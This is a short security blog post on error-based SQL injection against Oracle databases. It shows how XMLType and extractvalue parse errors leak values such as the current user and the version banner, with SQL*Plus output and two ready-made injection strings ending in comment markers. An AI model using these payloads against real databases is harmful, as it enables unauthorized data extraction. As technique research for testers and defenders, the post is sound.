Today I came across a nice blog article „Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle“ from Dmitry Evteev about new techniques which can be used in error-based SQL injection. One of the comments contains an additional technique. Even if the title of the blog is not correct for Oracle (it’s not blind SQL Injection it’s error based which is a small but important difference) the idea itself is nice. Sometimes the SQL statements are more complicated than necessary.
Using error messages of XMLType:
The XMLType allows to create error messages containing custom strings (like database users, passwords, …). The string must start with a ‚<:‘ that’s why we have to concatenate ‚<:‘ to the string. Additionally the all spaces and at-signs must be replaced.
SQL> select XMLType((‚<:’||user||‘>‘)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName „:SYS“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1
SQL> select XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)) from dual;
ERROR:
19
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName
„:Oracle9iEnterpriseEditionRelease9.2.0.8.0-Production“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1
This can be used in an SQL Injection statement:
or 1=length(XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)))–
The second technique is mentioned in the comments:
SQL> select extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)) from dual;
*
ERROR at line 1:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00601: Invalid token in: ‚/$Oracle Database 10g Express Edition Release 10.2.0.1.0 – Product‚
This can be used in an SQL Injection statement:
or 1=length(extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)))–